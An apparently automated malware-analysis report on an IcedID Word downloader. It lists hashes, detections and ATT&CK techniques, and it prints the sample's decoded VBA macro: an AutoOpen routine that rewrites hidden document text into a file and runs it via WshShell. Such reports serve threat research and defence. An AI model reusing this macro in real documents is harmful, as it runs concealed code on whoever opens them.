IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 89346c717426d2ee…

MALICIOUS

Office (OOXML)

33.5 KB Created: 2021-10-15 09:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-26
MD5: 7c73ce6991e0eea090dda964bff5d714 SHA-1: 5bb83507ab5b12822307b69e66a879d10dbecd3e SHA-256: 89346c717426d2ee089e54652e95d17f0d05e5f6002fa582e2c3bf382042d751
162 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that executes a function named 's'. This function uses the WshShell object to run a command, likely a downloaded payload. The ClamAV detection explicitly identifies the file as 'Doc.Downloader.IcedID', strongly suggesting the IcedID family. The AutoOpen macro is a common technique for initial execution within malicious documents.

Heuristics 5

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 786 bytes
SHA-256: 02c4e3632de6c7ebcbf929da737f3b86a5b898946ccf83da0e101704961651b9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "func"
Public Function s(redLineCaroline)
Set myLine = New WshShell
myLine.run redLineCaroline
End Function

Attribute VB_Name = "main"
Public Sub autoopen()
Dim myYouLove As String
myYouLove = vbNullString
myIn = ActiveDocument.BuiltInDocumentProperties("author").Value
With ActiveDocument.Content.Find
.Execute FindText:="#)", ReplaceWith:=myYouLove, Replace:=wdReplaceAll
End With
ActiveDocument.SaveAs2 FileName:=myIn, FileFormat:=wdFormatText
s myIn
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: aeb0f9b07a3b7aa39e29e2c48520e156612ee0013b5acba51a21c6866afde3a7

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